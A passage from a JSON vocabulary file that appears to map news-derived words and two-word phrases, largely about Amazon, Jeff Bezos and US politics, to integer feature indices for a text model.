analyst\": 132338,\n  \"businesses need\": 132339,\n  \"highest drug\": 132340,\n  \"hassan scored\": 132341,\n  \"battleground races\": 132342,\n  \"behalf russia\": 132343,\n  \"pine\": 132344,\n  \"ongoing media\": 132345,\n  \"edits trump\": 132346,\n  \"marla\": 132347,\n  \"debuting delivery\": 132348,\n  \"appealing federal\": 132349,\n  \"tci wealth\": 132350,\n  \"utm_medium\": 132351,\n  \"suwol john\": 132352,\n  \"laying low\": 132353,\n  \"hurricane iconimageurl\": 132354,\n  \"reclaim\": 132355,\n  \"post defends\": 132356,\n  \"finance chair\": 132357,\n  \"directors leo\": 132358,\n  \"solution based\": 132359,\n  \"company makes\": 132360,\n  \"dollar general\": 132361,\n  \"saved lives\": 132362,\n  \"viniar\": 132363,\n  \"quickly gained\": 132364,\n  \"305 price\": 132365,\n  \"buy evening\": 132366,\n  \"beating fund\": 132367,\n  \"continue increasing\": 132368,\n  \"fbi job\": 132369,\n  \"result puts\": 132370,\n  \"star subscribe\": 132371,\n  \"wallbridge\": 132372,\n  \"cartography\": 132373,\n  \"thankless\": 132374,\n  \"ggggggggggggggggggggggggggggggggggggggggg cnl_global_nav_background_gradient_start\": 132375,\n  \"certainly concerned\": 132376,\n  \"expectations bringing\": 132377,\n  \"symposium\": 132378,\n  \"dose good\": 132379,\n  \"sanders wrote\": 132380,\n  \"mato\": 132381,\n  \"account covfefe\": 132382,\n  \"fulfillment items\": 132383,\n  \"president touted\": 132384,\n  \"praised fracking\": 132385,\n  \"years focused\": 132386,\n  \"assess\": 132387,\n  \"approved sweeping\": 132388,\n  \"excerpts embedded\": 132389,\n  \"gun evidence\": 132390,\n  \"karl brauer\": 132391,\n  \"disclose revenue\": 132392,\n  \"money twitter\": 132393,\n  \"memorandum aiming\": 132394,\n  \"cheddar michelle\": 132395,\n  \"amazon quiet\": 132396,\n  \"ultimately bad\": 132397,\n  \"healthcare cape\": 132398,\n  \"jasco\": 132399,\n  \"kate steinle\": 132400,\n  \"nws seattle\": 132401,\n  \"comment marc\": 132402,\n  \"outspends tv\": 132403,\n  \"estimated 155\": 132404,\n  \"praised amazon\": 132405,\n  \"sting amtrak\": 132406,\n  \"form\": 132407,\n  \"transcript rep\": 132408,\n  \"role representing\": 132409,\n  \"presidential planes\": 132410,\n  \"sanctions movement\": 132411,\n  \"b9e\": 132412,\n  \"content spending\": 132413,\n  \"personnel operations\": 132414,\n  \"breadth\": 132415,\n  \"match tickets\": 132416,\n  \"charity christmas\": 132417,\n  \"hq2 location\": 132418,\n  \"people appoint\": 132419,\n  \"report requested\": 132420,\n  \"search business\": 132421,\n  \"egomaniacal leader\": 132422,\n  \"witnesses source\": 132423,\n  \"right governing\": 132424,\n  \"guard nuclear\": 132425,\n  \"rains thai\": 132426,\n  \"activated light\": 132427,\n  \"high literature\": 132428,\n  \"year history\": 132429,\n  \"lumberyard\": 132430,\n  \"alleged actions\": 132431,\n  \"amazon sought\": 132432,\n  \"adopt\": 132433,\n  \"confirms guns\": 132434,\n  \"atop red\": 132435,\n  \"birmingham uk\": 132436,\n  \"allegedly picking\": 132437,\n  \"amendment concerns\": 132438,\n  \"smaller vendors\": 132439,\n  \"z4a\": 132440,\n  \"won reach\": 132441,\n  \"t9x\": 132442,\n  \"small donors\": 132443,\n  \"reince\": 132444,\n  \"issue executive\": 132445,\n  \"mail users\": 132446,\n  \"news room\": 132447,\n  \"supremacist agenda\": 132448,\n  \"law retired\": 132449,\n  \"fair media\": 132450,\n  \"kitschy\": 132451,\n  \"ubhi usds\": 132452,\n  \"today formally\": 132453,\n  \"intelligent enterprises\": 132454,\n  \"quickly president\": 132455,\n  \"platform jay\": 132456,\n  \"proprietor jeff\": 132457,\n  \"fox guarding\": 132458,\n  \"citizens feeling\": 132459,\n  \"statement trump\": 132460,\n  \"transportation deserts\": 132461,\n  \"legislation 4166\": 132462,\n  \"professional jealousy\": 132463,\n  \"alexa screen\": 132464,\n  \"reviewers agree\": 132465,\n  \"reportedly cheating\": 132466,\n  \"douglaston\": 132467,\n  \"employer agent\": 132468,\n  \"member costa\": 132469,\n  \"government kennedy\": 132470,\n  \"laughs virginia\": 132471,\n  \"tyler\": 132472,\n  \"senior advisors\": 132473,\n  \"wall colin\": 132474,\n  \"greater fort\": 132475,\n  \"websites amazonbasics\": 132476,\n  \"sending fake\": 132477,\n  \"van bramer\": 132478,\n  \"year 2035\": 132479,\n  \"google generates\": 132480,\n  \"139 000\": 132481,\n  \"pseudo personal\": 132482,\n  \"spilling\": 132483,\n  \"dismal retail\": 132484,\n  \"stifel scott\": 132485,\n  \"sanchez robert\": 132486,\n  \"telstra ceo\": 132487,\n  \"removing gender\": 132488,\n  \"europe commissioner\": 132489,\n  \"political affairs\": 132490,\n  \"harangued\": 132491,\n  \"hearth israeli\": 132492,\n  \"martin corp\": 132493,\n  \"feedburner\": 132494,\n  \"sevigny\": 132495,\n  \"vows\": 132496,\n  \"politics immigration\": 132497,\n  \"playmate karen\": 132498,\n  \"history hurricane\": 132499,\n  \"deasy process\": 132500,\n  \"yesterday stock\": 132501,\n  \"fictional stories\": 132502,\n  \"hadn heard\": 132503,\n  \"combined power\": 132504,\n  \"immersive theater\": 132505,\n  \"programming team\": 132506,\n  \"network switches\": 132507,\n  \"satire program\": 132508,\n  \"quietly bought\": 132509,\n  \"juan\": 132510,\n  \"blackmail ads\": 132511,\n  \"star ranking\": 132512,\n  \"making mountains\": 132513,\n  \"planning easier\": 132514,\n  \"scholar harvard\": 132515,\n  \"binary\": 132516,\n  \"tennessee despite\": 132517,\n  \"grit\": 132518,\n  \"rumor spy\": 132519,\n  \"surgical pain\": 132520,\n  \"y29uc3rydwn0b3i a4ee\": 132521,\n  \"extremely straightforward\": 132522,\n  \"voting poll\": 132523,\n  \"cite healthier\": 132524,\n  \"casino town\": 132525,\n  \"maybe new\": 132526,\n  \"companies know\": 132527,\n  \"tech facebook\": 132528,\n  \"steered\": 132529,\n  \"tobin\": 132530,\n  \"gigs\": 132531,\n  \"forked\": 132532,\n  \"macy revenue\": 132533,\n  \"teacher murder\": 132534,\n  \"manufacturing facilities\": 132535,\n  \"seoul high\": 132536,\n  \"pitchforks\": 132537,\n  \"amazon included\": 132538,\n  \"receiving valuable\": 132539,\n  \"pos mention\": 132540,\n  \"aron sorkin\": 132541,\n  \"crushed thanks\": 132542,\n  \"250 price\": 132543,\n  \"swept away\": 132544,\n  \"oilpatch practice\": 132545,\n  \"best decisions\": 132546,\n  \"7ctwcamp\": 132547,\n  \"invested\": 132548,\n  \"fitton judicialwatch\": 132549,\n  \"comments quotebyline\": 132550,\n  \"union talk\": 132551,\n  \"ap aaron\": 132552,\n  \"shelved red\": 132553,\n  \"000 maybe\": 132554,\n  \"381 billion\": 132555,\n  \"powerhouse amazon\": 132556,\n  \"prints\": 132557,\n  \"prize follows\": 132558,\n  \"line according\": 132559,\n  \"way real\": 132560,\n  \"ice hands\": 132561,\n  \"alps\": 132562,\n  \"cheapskates built\": 132563,\n  \"airwaves\": 132564,\n  \"seamless transacting\": 132565,\n  \"sheer exasperation\": 132566,\n  \"game saving\": 132567,\n  \"offers free\": 132568,\n  \"account ing\": 132569,\n  \"upper tier\": 132570,\n  \"respected foreign\": 132571,\n  \"tone company\": 132572,\n  \"000 separate\": 132573,\n  \"tyranny tell\": 132574,\n  \"term runs\": 132575,\n  \"gps coordinates\": 132576,\n  \"tariffs wont\": 132577,\n  \"government ethics\": 132578,\n  \"critical institution\": 132579,\n  \"level people\": 132580,\n  \"administration alcoa\": 132581,\n  \"pipe\": 132582,\n  \"katherine tully\": 132583,\n  \"whitelist observer\": 132584,\n  \"isn lost\": 132585,\n  \"nassar victims\": 132586,\n  \"aid took\": 132587,\n  \"software especially\": 132588,\n  \"bakr director\": 132589,\n  \"aneurisms jimmy\": 132590,\n  \"spouses high\": 132591,\n  \"repatriating\": 132592,\n  \"good kids\": 132593,\n  \"james writing\": 132594,\n  \"averaging 150\": 132595,\n  \"began anew\": 132596,\n  \"harass\": 132597,\n  \"news searches\": 132598,\n  \"cementing amazon\": 132599,\n  \"zinczenko\": 132600,\n  \"scribd dima\": 132601,\n  \"fox commentators\": 132602,\n  \"invoked\": 132603,\n  \"corp invested\": 132604,\n  \"2741a addabbo\": 132605,\n  \"oppositional voices\": 132606,\n  \"deceive reporters\": 132607,\n  \"waxed canvas\": 132608,\n  \"anti oppression\": 132609,\n  \"healthcare major\": 132610,\n  \"hea shark\": 132611,\n  \"douglas gurr\": 132612,\n  \"etf ibuy\": 132613,\n  \"underscore\": 132614,\n  \"fast delivery\": 132615,\n  \"future meeting\": 132616,\n  \"partnership\": 132617,\n  \"changes democratic\": 132618,\n  \"renewed resonance\": 132619,\n  \"authorized repurchase\": 132620,\n  \"section indicates\": 132621,\n  \"amazon 1tn\": 132622,\n  \"reporters carl\": 132623,\n  \"2014 gm\": 132624,\n  \"ice spokesperson\": 132625,\n  \"court mandated\": 132626,\n  \"vague conspiracy\": 132627,\n  \"decades working\": 132628,\n  \"power crooked\": 132629,\n  \"fake hats\": 132630,\n  \"really hard\": 132631,\n  \"times science\": 132632,\n  \"private sectors\": 132633,\n  \"jack phillips\": 132634,\n  \"says shares\": 132635,\n  \"local progressive\": 132636,\n  \"fed spokesman\": 132637,\n  \"especially valued\": 132638,\n  \"cards printed\": 132639,\n  \"taobao site\": 132640,\n  \"commerce operation\": 132641,\n  \"conservatives adding\": 132642,\n  \"spicer forthcoming\": 132643,\n  \"fund groups\": 132644,\n  \"permits\": 132645,\n  \"billion deficit\": 132646,\n  \"tax skirmishes\": 132647,\n  \"stayed clear\": 132648,\n  \"accumulation\": 132649,\n  \"dominates cloud\": 132650,\n  \"world deserves\": 132651,\n  \"based organizer\": 132652,\n  \"ralph barat\": 132653,\n  \"simulated\": 132654,\n  \"little things\": 132655,\n  \"website amazon\": 132656,\n  \"classify\": 132657,\n  \"unilateral sanctions\": 132658,\n  \"spurring\": 132659,\n  \"russia summit\": 132660,\n  \"programs severing\": 132661,\n  \"congressman later\": 132662,\n  \"karachi\": 132663,\n  \"authoritarian modes\": 132664,\n  \"seller buy\": 132665,\n  \"munich security\": 132666,\n  \"blasio says\": 132667,\n  \"jumped 181\": 132668,\n  \"2017 notorious\": 132669,\n  \"olympic athlete\": 132670,\n  \"statement cohen\": 132671,\n  \"vanity project\": 132672,\n  \"weiser\": 132673,\n  \"web calls\": 132674,\n  \"putin national\": 132675,\n  \"enabling apple\": 132676,\n  \"elegant study\": 132677,\n  \"mayor helping\": 132678,\n  \"early uber\": 132679,\n  \"attacked jeff\": 132680,\n  \"function ub\": 132681,\n  \"look ridiculous\": 132682,\n  \"naff\": 132683,\n  \"muttering\": 132684,\n  \"bee shares\": 132685,\n  \"seth head\": 132686,\n  \"investigative staff\": 132687,\n  \"hq3 mean\": 132688,\n  \"decided trump\": 132689,\n  \"pilots obsolete\": 132690,\n  \"inspections\": 132691,\n  \"reuters senate\": 132692,\n  \"cheng\": 132693,\n  \"bozo euro\": 132694,\n  \"plane tom\": 132695,\n  \"motorists president\": 132696,\n  \"party purchases\": 132697,\n  \"run asked\": 132698,\n  \"states inflated\": 132699,\n  \"wasn trying\": 132700,\n  \"human presence\": 132701,\n  \"fntalk\": 132702,\n  \"making decisions\": 132703,\n  \"effort upskilling\": 132704,\n  \"occupied special\": 132705,\n  \"obama supporters\": 132706,\n  \"tells axios\": 132707,\n  \"stephen lynch\": 132708,\n  \"appoint mcsally\": 132709,\n  \"encounters\": 132710,\n  \"economies meet\": 132711,\n  \"rise drops\": 132712,\n  \"lifetime don\": 132713,\n  \"department committee\": 132714,\n  \"odd critical\": 132715,\n  \"joins mccain\": 132716,\n  \"smartphone makers\": 132717,\n  \"gathering information\": 132718,\n  \"basks\": 132719,\n  \"arnold schwartzegger\": 132720,\n  \"media war\": 132721,\n  \"asset mgmt\": 132722,\n  \"central plot\": 132723,\n  \"poor sales\": 132724,\n  \"aug 2017\": 132725,\n  \"cnl_calculated_color f7ce00\": 132726,\n  \"bach\": 132727,\n  \"stream nfl\": 132728,\n  \"delay california\": 132729,\n  \"visually\": 132730,\n  \"act instead\": 132731,\n  \"paint set\": 132732,\n  \"eu sets\": 132733,\n  \"adaptability quotient\": 132734,\n  \"picking\": 132735,\n  \"agencies tell\": 132736,\n  \"e3\": 132737,\n  \"potentially faced\": 132738,\n  \"l1\": 132739,\n  \"process typically\": 132740,\n  \"political controversies\": 132741,\n  \"motivational\": 132742,\n  \"team told\": 132743,\n  \"animated\": 132744,\n  \"alongside cynthia\": 132745,\n  \"employer sponsored\": 132746,\n  \"vest\": 132747,\n  \"collect additional\": 132748,\n  \"proposal governor\": 132749,\n  \"brexit crisis\": 132750,\n  \"canada washington\": 132751,\n  \"intriguing\": 132752,\n  \"stuns\": 132753,\n  \"today reporter\": 132754,\n  \"mba\": 132755,\n  \"traffic hijacked\": 132756,\n  \"men alums\": 132757,\n  \"experienced city\": 132758,\n  \"veterans transition\": 132759,\n  \"wrote today\": 132760,\n  \"iq map\": 132761,\n  \"2020 reports\": 132762,\n  \"hyung sent\": 132763,\n  \"intimidate opponents\": 132764,\n  \"slideshow article\": 132765,\n  \"dod ubhi\": 132766,\n  \"baby romper\": 132767,\n  \"new peaks\": 132768,\n  \"trump sentiments\": 132769,\n  \"afternoons\": 132770,\n  \"politics trump\": 132771,\n  \"242\": 132772,\n  \"bankruptcies unless\": 132773,\n  \"dishwashers\": 132774,\n  \"closed series\": 132775,\n  \"100 investors\": 132776,\n  \"guy role\": 132777,\n  \"shopping travel\": 132778,\n  \"experts firm\": 132779,\n  \"chicago based\": 132780,\n  \"general economic\": 132781,\n  \"causeda\": 132782,\n  \"creating potential\": 132783,\n  \"talking toys\": 132784,\n  \"doors demanded\": 132785,\n  \"paying hundreds\": 132786,\n  \"nshongore\": 132787,\n  \"connecticut headquarters\": 132788,\n  \"projects donnell\": 132789,\n  \"scam especially\": 132790,\n  \"proposed metal\": 132791,\n  \"interesting news\": 132792,\n  \"new independent\": 132793,\n  \"rebuked trump\": 132794,\n  \"hitting woman\": 132795,\n  \"vir das\": 132796,\n  \"data domiciled\": 132797,\n  \"cost burden\": 132798,\n  \"typical new\": 132799,\n  \"journalist fielded\": 132800,\n  \"page summary\": 132801,\n  \"amid flurry\": 132802,\n  \"california amazon\": 132803,\n  \"politician anwar\": 132804,\n  \"playbook\": 132805,\n  \"biore sarasara\": 132806,\n  \"later small\": 132807,\n  \"raising red\": 132808,\n  \"sellers tracking\": 132809,\n  \"m8 o2x\": 132810,\n  \"battlegrounds pennsylvania\": 132811,\n  \"walmart launches\": 132812,\n  \"capper\": 132813,\n  \"incite backlash\": 132814,\n  \"preached calm\": 132815,\n  \"pages including\": 132816,\n  \"kenya shilling\": 132817,\n  \"suffe\": 132818,\n  \"inhumane\": 132819,\n  \"apartment units\": 132820,\n  \"executive talent\": 132821,\n  \"improve transportation\": 132822,\n  \"forward rep\": 132823,\n  \"revenue user\": 132824,\n  \"believes trump\": 132825,\n  \"cultivated\": 132826,\n  \"makes counterfeits\": 132827,\n  \"award 2018\": 132828,\n  \"cloud management\": 132829,\n  \"read david\": 132830,\n  \"regulators demanding\": 132831,\n  \"google categorically\": 132832,\n  \"announced increased\": 132833,\n  \"book porter\": 132834,\n  \"amazon nonexistent\": 132835,\n  \"specific individual\": 132836,\n  \"attorneys\": 132837,\n  \"commencement\": 132838,\n  \"crashed astronomically\": 132839,\n  \"lic economy\": 132840,\n  \"merge online\": 132841,\n  \"military blockade\": 132842,\n  \"refundable meaning\": 132843,\n  \"wh lawyer\": 132844,\n  \"free commands\": 132845,\n  \"afp sen\": 132846,\n  \"inc_custom_javascript\": 132847,\n  \"years remi\": 132848,\n  \"meteoric rise\": 132849,\n  \"upholds\": 132850,\n  \"turns extremely\": 132851,\n  \"surprise proclamation\": 132852,\n  \"powerful business\": 132853,\n  \"warns tech\": 132854,\n  \"unyielding market\": 132855,\n  \"scandal cars\": 132856,\n  \"know hate\": 132857,\n  \"farewell click\": 132858,\n  \"nude images\": 132859,\n  \"float embarrassing\": 132860,\n  \"leavy harpercollins\": 132861,\n  \"instruments revenue\": 132862,\n  \"involve facts\": 132863,\n  \"shed\": 132864,\n  \"declaration sets\": 132865,\n  \"mashable sources\": 132866,\n  \"administration change\": 132867,\n  \"970 words\": 132868,\n  \"tank defect\": 132869,\n  \"jim wunderman\": 132870,\n  \"demanding\": 132871,\n  \"listen montgomery\": 132872,\n  \"allegations hurricane\": 132873,\n  \"credits related\": 132874,\n  \"kindling\": 132875,\n  \"announced elder\": 132876,\n  \"crime comedy\": 132877,\n  \"improve google\": 132878,\n  \"111 744\": 132879,\n  \"recreation rooms\": 132880,\n  \"201 commerce\": 132881,\n  \"flow\": 132882,\n  \"8th\": 132883,\n  \"insider noting\": 132884,\n  \"pce growth\": 132885,\n  \"minimal effort\": 132886,\n  \"movie manchester\": 132887,\n  \"baron monstrosity\": 132888,\n  \"arebasically saying\": 132889,\n  \"eliminate rivals\": 132890,\n  \"giant kaepernick\": 132891,\n  \"day release\": 132892,\n  \"called winners\": 132893,\n  \"state secrets\": 132894,\n  \"hand facebook\": 132895,\n  \"reject dianne\": 132896,\n  \"areas deals\": 132897,\n  \"probably questionfor\": 132898,\n  \"guardian reported\": 132899,\n  \"maryland bid\": 132900,\n  \"amazon vine\": 132901,\n  \"lawmakers repeatedly\": 132902,\n  \"ago schiff\": 132903,\n  \"politico josh\": 132904,\n  \"gov jay\": 132905,\n  \"manufacturing strength\": 132906,\n  \"shakespeare tragedy\": 132907,\n  \"political foul\": 132908,\n  \"info 230m\": 132909,\n  \"arabia pecker\": 132910,\n  \"magazine ahead\": 132911,\n  \"editorial coverage\": 132912,\n  \"prestige schools\": 132913,\n  \"transgender person\": 132914,\n  \"rourke apple\": 132915,\n  \"beauty source\": 132916,\n  \"beatriz\": 132917,\n  \"naive\": 132918,\n  \"asks just\": 132919,\n  \"radio\": 132920,\n  \"week mayor\": 132921,\n  \"grooming product\": 132922,\n  \"crossed lovers\": 132923,\n  \"displaced animals\": 132924,\n  \"i0\": 132925,\n  \"related reads\": 132926,\n  \"trump book\": 132927,\n  \"flex driver\": 132928,\n  \"intelligence program\": 132929,\n  \"philadelphia driver\": 132930,\n  \"brazile leslie\": 132931,\n  \"wish amazon\": 132932,\n  \"appearing\": 132933,\n  \"outright ban\": 132934,\n  \"moon blue\": 132935,\n  \"red wave\": 132936,\n  \"nation data\": 132937,\n  \"oversee number\": 132938,\n  \"hollywood insiders\": 132939,\n  \"energy underperforming\": 132940,\n  \"a4\": 132941,\n  \"upzone\": 132942,\n  \"ritz carlton\": 132943,\n  \"repair discussion\": 132944,\n  \"080 words\": 132945,\n  \"manhunt underway\": 132946,\n  \"territories intact\": 132947,\n  \"mogul rupert\": 132948,\n  \"western\": 132949,\n  \"option priced\": 132950,\n  \"enterprises trump\": 132951,\n  \"employees spoke\": 132952,\n  \"gianaris office\": 132953,\n  \"style 01pm\": 132954,\n  \"motivations mrbezos\": 132955,\n  \"later published\": 132956,\n  \"saltsman\": 132957,\n  \"math teacher\": 132958,\n  \"rock holds\": 132959,\n  \"help evacuate\": 132960,\n  \"wrath\": 132961,\n  \"cornish\": 132962,\n  \"grabenstein\": 132963,\n  \"financial reserves\": 132964,\n  \"avoided federal\": 132965,\n  \"swoop\": 132966,\n  \"considering facial\": 132967,\n  \"entirely different\": 132968,\n  \"data systems\": 132969,\n  \"founder holly\": 132970,\n  \"products report\": 132971,\n  \"unit amazon\": 132972,\n  \"repeatedly lambasted\": 132973,\n  \"deals sold\": 132974,\n  \"procurement says\": 132975,\n  \"research shows\": 132976,\n  \"spikes profits\": 132977,\n  \"coverage especially\": 132978,\n  \"sensitive technology\": 132979,\n  \"based amazon\": 132980,\n  \"backed startups\": 132981,\n  \"agreement nafta\": 132982,\n  \"big hit\": 132983,\n  \"dealer\": 132984,\n  \"banking businesses\": 132985,\n  \"mozart sees\": 132986,\n  \"loudon\": 132987,\n  \"risks trump\": 132988,\n  \"cruising county\": 132989,\n  \"wholesome\": 132990,\n  \"newly public\": 132991,\n  \"economists\": 132992,\n  \"year gap\": 132993,\n  \"broker deal\": 132994,\n  \"aspiriant llc\": 132995,\n  \"resolution president\": 132996,\n  \"online best\": 132997,\n  \"dude breaking\": 132998,\n  \"people love\": 132999,\n  \"trevor\": 133000,\n  \"exact timeline\": 133001,\n  \"offers employees\": 133002,\n  \"bulbs\": 133003,\n  \"revenue rising\": 133004,\n  \"wendell willkie\": 133005,\n  \"completely bogus\": 133006,\n  \"stevenoverly\": 133007,\n  \"received government\": 133008,\n  \"liss riordan\": 133009,\n  \"company successful\": 133010,\n  \"lists dominated\": 133011,\n  \"diana olick\": 133012,\n  \"cap sits\": 133013,\n  \"especially prior\": 133014,\n  \"startling report\": 133015,\n  \"olds\": 133016,\n  \"subscribers compared\": 133017,\n  \"labour conditions\": 133018,\n  \"george\": 133019,\n  \"lust\": 133020,\n  \"standing partner\": 133021,\n  \"sector accounts\": 133022,\n  \"historical revisionist\": 133023,\n  \"american gods\": 133024,\n  \"1907\": 133025,\n  \"association national\": 133026,\n  \"rt gadget_pron\": 133027,\n  \"county executive\": 133028,\n  \"fake monopolies\": 133029,\n  \"ultimately god\": 133030,\n  \"effort failed\": 133031,\n  \"new airports\": 133032,\n  \"000 residents\": 133033,\n  \"various states\": 133034,\n  \"enquirer scoop\": 133035,\n  \"met trump\": 133036,\n  \"fan henry\": 133037,\n  \"media told\": 133038,\n  \"iqiyi stocks\": 133039,\n  \"2016 electoral\": 133040,\n  \"turned lic\": 133041,\n  \"victoria graham\": 133042,\n  \"report deputies\": 133043,\n  \"chakrabarti\": 133044,\n  \"used thanksgiving\": 133045,\n  \"trump kavanaugh\": 133046,\n  \"fanatic firm\": 133047,\n  \"warming cbs\": 133048,\n  \"sunglasses\": 133049,\n  \"usps talks\": 133050,\n  \"installed user\": 133051,\n  \"connor\": 133052,\n  \"issues subpoena\": 133053,\n  \"gun law\": 133054,\n  \"tech hub\": 133055,\n  \"device changed\": 133056,\n  \"golden roll\": 133057,\n  \"president declared\": 133058,\n  \"node 17044620011\": 133059,\n  \"major setback\": 133060,\n  \"sources amazon\": 133061,\n  \"pyramid scheme\": 133062,\n  \"tributes fox\": 133063,\n  \"carell want\": 133064,\n  \"called universal\": 133065,\n  \"traded amazon\": 133066,\n  \"clinical pharmacist\": 133067,\n  \"uncovering bezos\": 133068,\n  \"solid companies\": 133069,\n  \"pivoted\": 133070,\n  \"season yes\": 133071,\n  \"companies grow\": 133072,\n  \"momentous\": 133073,\n  \"nominees robert\": 133074,\n  \"problems caption\": 133075,\n  \"away lot\": 133076,\n  \"wood amazon\": 133077,\n  \"property taxes\": 133078,\n  \"protest racial\": 133079,\n  \"cavaliers preview\": 133080,\n  \"calculated response\": 133081,\n  \"founder fantasised\": 133082,\n  \"online know\": 133083,\n  \"trade agreements\": 133084,\n  \"females hey\": 133085,\n  \"workers\": 133086,\n  \"underwater according\": 133087,\n  \"commerce citi\": 133088,\n  \"bezos revelation\": 133089,\n  \"governance\": 133090,\n  \"companies people\": 133091,\n  \"new tax\": 133092,\n  \"detailed story\": 133093,\n  \"oil rose\": 133094,\n  \"bezos detailed\": 133095,\n  \"mishmash\": 133096,\n  \"highest paid\": 133097,\n  \"deemed\": 133098,\n  \"read customer\": 133099,\n  \"hear gunshot\": 133100,\n  \"verify website\": 133101,\n  \"india flipkart\": 133102,\n  \"video politics\": 133103,\n  \"wsfolders 13022228\": 133104,\n  \"lifestyle\": 133105,\n  \"largest parcel\": 133106,\n  \"air amazon\": 133107,\n  \"muslim\": 133108,\n  \"return\": 133109,\n  \"fastcompany\": 133110,\n  \"appalling\": 133111,\n  \"ukrainian jewish\": 133112,\n  \"plucky little\": 133113,\n  \"occupy senior\": 133114,\n  \"antitrust probes\": 133115,\n  \"idea antitrust\": 133116,\n  \"video app\": 133117,\n  \"amazon investors\": 133118,\n  \"marketplace trump\": 133119,\n  \"selloff mode\": 133120,\n  \"revenue recognition\": 133121,\n  \"sicker offering\": 133122,\n  \"house moves\": 133123,\n  \"barat\": 133124,\n  \"air force\": 133125,\n  \"funnies\": 133126,\n  \"partenheimer wrote\": 133127,\n  \"post scandals\": 133128,\n  \"today christal\": 133129,\n  \"slope ian600f\": 133130,\n  \"rights alongside\": 133131,\n  \"reduce efficiency\": 133132,\n  \"manufacturing surveys\": 133133,\n  \"somewhat comedic\": 133134,\n  \"blood bank\": 133135,\n  \"currencies 2018\": 133136,\n  \"ohio voted\": 133137,\n  \"ln\": 133138,\n  \"stopped purchasing\": 133139,\n  \"charles riley\": 133140,\n  \"greta van\": 133141,\n  \"neo colonists\": 133142,\n  \"giants biding\": 133143,\n  \"photograph joshua\": 133144,\n  \"sales marking\": 133145,\n  \"work according\": 133146,\n  \"intention\": 133147,\n  \"cr india\": 133148,\n  \"hurt european\": 133149,\n  \"averting new\": 133150,\n  \"advances amazon\": 133151,\n  \"gsi general\": 133152,\n  \"owned despite\": 133153,\n  \"looking forward\": 133154,\n  \"clientx clienty\": 133155,\n  \"parkland school\": 133156,\n  \"high insider\": 133157,\n  \"shipping think\": 133158,\n  \"unattainable\": 133159,\n  \"competition antitrust\": 133160,\n  \"important institution\": 133161,\n  \"upswing\": 133162,\n  \"foundation edelman\": 133163,\n  \"actually cares\": 133164,\n  \"nri\": 133165,\n  \"dollar loss\": 133166,\n  \"cranial surgery\": 133167,\n  \"valedictorians\": 133168,\n  \"broadcast team\": 133169,\n  \"260 million\": 133170,\n  \"india latest\": 133171,\n  \"league baseball\": 133172,\n  \"care including\": 133173,\n  \"bigger visy\": 133174,\n  \"dwyer dwyer\": 133175,\n  \"ebay inventory\": 133176,\n  \"man say\": 133177,\n  \"walmart kroger\": 133178,\n  \"women people\": 133179,\n  \"management registered\": 133180,\n  \"mos axios\": 133181,\n  \"advanced discussions\": 133182,\n  \"tweet caused\": 133183,\n  \"dix written\": 133184,\n  \"ellisonkeith\": 133185,\n  \"interview underscore\": 133186,\n  \"665\": 133187,\n  \"economist called\": 133188,\n  \"platforms serve\": 133189,\n  \"salad cathy\": 133190,\n  \"clicked\": 133191,\n  \"story dows\": 133192,\n  \"arizona detention\": 133193,\n  \"huffpost request\": 133194,\n  \"shira notes\": 133195,\n  \"wrongly convicted\": 133196,\n  \"felons ignore\": 133197,\n  \"marcia fudge\": 133198,\n  \"betty\": 133199,\n  \"commerce competitors\": 133200,\n  \"recently slammed\": 133201,\n  \"uses software\": 133202,\n  \"certainly reached\": 133203,\n  \"included 500\": 133204,\n  \"favorite people\": 133205,\n  \"america begged\": 133206,\n  \"company unveils\": 133207,\n  \"beef significant\": 133208,\n  \"elaine wynn18\": 133209,\n  \"university professor\": 133210,\n  \"amazon territory\": 133211,\n  \"broader range\": 133212,\n  \"bike trail\": 133213,\n  \"student exploration\": 133214,\n  \"include trumpnation\": 133215,\n  \"amazon discontinued\": 133216,\n  \"stuffing cranberry\": 133217,\n  \"community debate\": 133218,\n  \"project saying\": 133219,\n  \"legal risk\": 133220,\n  \"8450 ext\": 133221,\n  \"landing va\": 133222,\n  \"jumping 354\": 133223,\n  \"laffer\": 133224,\n  \"breadcrumbs\": 133225,\n  \"formally\": 133226,\n  \"allocating incrementally\": 133227,\n  \"advocacy group\": 133228,\n  \"reports rizer\": 133229,\n  \"elissa smith\": 133230,\n  \"taiwanese company\": 133231,\n  \"impressed\": 133232,\n  \"ourfriendlyforest\": 133233,\n  \"perspective lines\": 133234,\n  \"cambria investments\": 133235,\n  \"trading\": 133236,\n  \"pittsburgh based\": 133237,\n  \"explosion american\": 133238,\n  \"artist seeks\": 133239,\n  \"a1 bbt\": 133240,\n  \"boomer silent\": 133241,\n  \"money snl\": 133242,\n  \"priests say\": 133243,\n  \"onus\": 133244,\n  \"descriptiontext duration\": 133245,\n  \"old won\": 133246,\n  \"space infrastructure\": 133247,\n  \"sell goods\": 133248,\n  \"numerous times\": 133249,\n  \"took different\": 133250,\n  \"airport online\": 133251,\n  \"diaries\": 133252,\n  \"information jedi\": 133253,\n  \"skyrocketing housing\": 133254,\n  \"uncover\": 133255,\n  \"makes policy\": 133256,\n  \"monopolist\": 133257,\n  \"thewashington post\": 133258,\n  \"victim tropical\": 133259,\n  \"breaks arlington\": 133260,\n  \"international expansion\": 133261,\n  \"net margin\": 133262,\n  \"jobs trump\": 133263,\n  \"run cnn\": 133264,\n  \"released video\": 133265,\n  \"help turn\": 133266,\n  \"venue close\": 133267,\n  \"girls regina\": 133268,\n  \"proof president\": 133269,\n  \"facebook integration\": 133270,\n  \"movies touch\": 133271,\n  \"trump looming\": 133272,\n  \"governments\": 133273,\n  \"separate tweets\": 133274,\n  \"control washington\": 133275,\n  \"trump operating\": 133276,\n  \"ceo ian\": 133277,\n  \"entitled getting\": 133278,\n  \"negotiator\": 133279,\n  \"dws\": 133280,\n  \"northwest biz\": 133281,\n  \"ernt allbright\": 133282,\n  \"retail jobs\": 133283,\n  \"prevent election\": 133284,\n  \"sykescharlie\": 133285,\n  \"receive ibd\": 133286,\n  \"taxes recently\": 133287,\n  \"stamford headquarters\": 133288,\n  \"later sharply\": 133289,\n  \"investors burned\": 133290,\n  \"physically sick\": 133291,\n  \"seller performance\": 133292,\n  \"entrepreneurs small\": 133293,\n  \"shares hm\": 133294,\n  \"indian\": 133295,\n  \"circle crank\": 133296,\n  \"vel\\u00e1zquez ny\": 133297,\n  \"schuster tapeworms\": 133298,\n  \"frustrations\": 133299,\n  \"legal defense\": 133300,\n  \"markets wrote\": 133301,\n  \"unchartered\": 133302,\n  \"deutsch worried\": 133303,\n  \"modernized\": 133304,\n  \"asian cup\": 133305,\n  \"wrote sanders\": 133306,\n  \"jones richard\": 